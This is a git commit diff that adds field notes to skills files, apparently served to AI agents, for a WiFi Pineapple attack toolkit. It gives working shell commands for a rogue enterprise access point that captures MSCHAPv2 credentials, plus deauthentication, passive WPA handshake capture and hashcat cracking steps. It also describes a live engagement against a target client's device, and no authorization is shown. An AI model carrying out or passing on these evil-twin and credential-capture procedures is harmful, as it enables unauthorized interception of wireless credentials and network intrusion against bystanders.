feat: capture field findings into bundled skills (harness resources)

pineapple-control gains the uplink-pins-phy0 constraint, the five-part
pineapd crash stack, and the standalone PineAPE engine recipe; wifi-deauth
gains the field-verified passive-capture finding (clients that refuse the
evil twin still produce crackable 4-ways of the real AP, [B,1,2,3,4]).
Evil WPA playbook hint mentions the passive fallback. Skills are served to
agents via MCP resources.
This commit is contained in:
2026-08-18 22:17:29 -05:00
parent 7b7a1d2dbd
commit b6be1c40a8
4 changed files with 61 additions and 2 deletions
@@ -16,6 +16,50 @@ Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, ke
Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`.
**The uplink pins phy0 (field-verified 2026-08-19):** while the device's own
client uplink (`wlan0` STA) is associated, it holds phy0 on the association
channel (here ch1). `wlan0mon` therefore CANNOT hop off ch1, and 2.4 GHz
APs on other channels are invisible to recon — even when `hop=1` is set.
Also, pineapd's per-interface hop is a no-op unless `hopspeed` is set on
that interface (`pineapd.wlan0mon.hopspeed='fast'`). Workarounds: run the
2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels
on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the
uplink is up.
## pineapd crash stack (Pager 24.10.1 — all five verified)
1. **SSID-pool broadcast** — segfaults pineapd (~15 s cadence, `ra=004e1237`). Keep `pineapd.@ssidpool[0].disable=1`.
2. **wlan2mon** — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep `pineapd.wlan2mon.disable=1` + `hop=0`.
3. **wlan1mon 6 GHz fast-hop** — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep `pineapd.wlan1mon.bands=5`.
4. **Refilled pool list** — collect (`autossidpool`) refills the pool; a large list crashes even with broadcast off. Clear `pineapd.@ssidpool[0].ssid` when pineapd fails.
5. **Active socket polling** — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (`pidof`).
The Mark VIII health monitor enforces all five automatically; `/api/health` reports state. An evil twin / enterprise deploy pauses `wlan1mon` hop and resumes it on stop.
## Standalone PineAPE enterprise engine (field-verified)
The stock daemon's enterprise AP config generation is BROKEN on this build
(it hardcodes `eap_server_erp=1`, which hostapd rejects with "Invalid IEEE
802.1X configuration (no EAP authenticator configured)"). Working engine,
run entirely by Mark VIII on phy1 outside the daemon's interface set:
```sh
iw phy phy1 interface add wlan1ent type managed
iw dev wlan1ent set type ap && ip link set wlan1ent up
# hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1,
# eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"),
# wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8
/usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf
# enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket:
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable
```
Captured credentials flow to pineapd's socket and land in
`hostap_basic`/`hostap_chalresp` in recon.db. Tear down: kill the pidfile
pid, `iw dev wlan1ent del`, resume hop.
## Access
```sh
@@ -59,6 +59,21 @@ Monitors are effectively pinned to the channel their phy's AP interface holds (2
The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture:
**Field-verified 2026-08-19 — the passive capture is GOLD (better than the twin):**
pineapd's `handshake` table captures a full 4-way for ANY nearby AP the
monitor can hear, even when the client refuses the evil twin entirely. In a
live engagement, a target client (Nintendo Switch 2) got `auth status=1`
rejections from the karma twin and never associated — but when it
reconnected to the REAL AP, pineapd logged:
`[HANDSHAKE] handshake AP <real-bssid> CLIENT <mac> crackable [B,1,2,3,4]`
and wrote both `.pcap` + `.22000` files to `/root/loot/handshakes/` on its
own. The monitor must be on the real AP's channel (on this lab unit the
2.4 GHz monitor is pinned to the uplink's channel — see pineapple-control).
The exported hashcat line verified against the target SSID:
`WPA*02*<mic>*<apbssid>*<clientmac>*<ssid-hex>` — direct `hashcat -m 22000` input.
Clients that DO associate to the twin also produce `hostap_handshake` rows
(roaming client verified), so both paths produce loot.
```sh
# single session: background tcpdump, run deauth rounds, listen, kill.
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$!
@@ -268,7 +268,7 @@
<script src="js/xterm-addon-fit.min.js"></script>
<script src="js/terminal.js"></script>
<script src="js/pager.js"></script>
<script src="js/views.js?v=20260818-5"></script>
<script src="js/views.js?v=20260818-6"></script>
<script src="js/app.js?v=20260818-3"></script>
</body>
</html>
@@ -1654,7 +1654,7 @@ views.attacks_wpa = attackLauncher('wpa', {
hint: (s, w) => {
if (!w || !w.enabled) return '1. Set the target SSID and passphrase, pick a channel, Deploy. 2. When the target client is near, use Deauth Targeting below. 3. Captured handshakes appear above — Export and run the hashcat command.';
if (s && s.handshakes > 0) return 'Handshake captured! Export .hc22000 and run hashcat -m 22000.';
return 'AP is live on ' + (w.ssid || 'the target') + '. Watch the handshakes list — use Deauth Targeting to nudge the client.';
return 'AP is live on ' + (w.ssid || 'the target') + '. Watch the handshakes list — use Deauth Targeting to nudge the client. If a client refuses to join the twin, its reconnect to the real AP is still captured passively.';
}
}
});